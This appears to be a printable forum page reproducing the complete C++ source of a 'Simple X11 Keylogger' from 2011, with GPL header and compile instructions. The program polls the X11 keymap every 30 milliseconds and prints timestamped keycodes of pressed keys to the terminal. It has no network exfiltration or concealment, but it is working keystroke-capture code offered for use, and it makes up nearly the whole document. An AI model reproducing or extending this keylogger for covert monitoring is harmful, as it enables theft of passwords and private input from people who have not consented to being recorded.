Simple X11 Keylogger - نسخه قابل چاپ

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/*

** Simple X11 Keylogger.

** Developed by Roberto Tacconelli 10 May 2011 (05/10/2011)

** http://www.st4ck.com

**

** Compile: g++ -lX11 keylogger.cpp -o keylogger

**

** This program is free software: you can redistribute it and/or modify

** it under the terms of the GNU General Public License as published by

** the Free Software Foundation, either version 3 of the License, or

** (at your option) any later version.

**

** This program is distributed in the hope that it will be useful,

** but WITHOUT ANY WARRANTY; without even the implied warranty of

** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the

** GNU General Public License for more details.

**

** You should have received a copy of the GNU General Public License

** along with this program.  If not, see <http://www.gnu.org/licenses/>.

*/



#include <X11/Xlib.h>

#include <X11/Xutil.h>

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#include <sys/time.h>



double gettime() {

 timeval tim;

 gettimeofday(&tim, NULL);

 double t1=tim.tv_sec+(tim.tv_usec/1000000.0);

 return t1;

}



int main() {

 Display *display_name;

 int depth,screen,connection;

 display_name = XOpenDisplay(NULL);

 screen = DefaultScreen(display_name);

 depth = DefaultDepth(display_name,screen);

 connection = ConnectionNumber(display_name);

 printf("Keylogger started\n\nInfo about X11 connection:\n");

 printf(" The display is::%s\n",XDisplayName((char*)display_name));

 printf(" Width::%d\tHeight::%d\n",

 DisplayWidth(display_name,screen),

 DisplayHeight(display_name,screen));

 printf(" Connection number is %d\n",connection);



 if(depth == 1)

  printf(" You live in prehistoric times\n");

 else

  printf(" You've got a coloured monitor with depth of %d\n",depth);



 printf("\n\nLogging started.\n\n");



 char keys_return[32];

 while(1) {

  XQueryKeymap(display_name,keys_return);

  for (int i=0; i<32; i++) {

   if (keys_return[i] != 0) {

    int pos = 0;

    int num = keys_return[i];

    printf("%.20f: ",gettime());

    while (pos < 8) {

     if ((num & 0x01) == 1) {

      printf("%d ",i*8+pos);

     }

     pos++; num /= 2;

    }

    printf("\n");

   }

  }

  usleep(30000);

 }

 XCloseDisplay(display_name);

}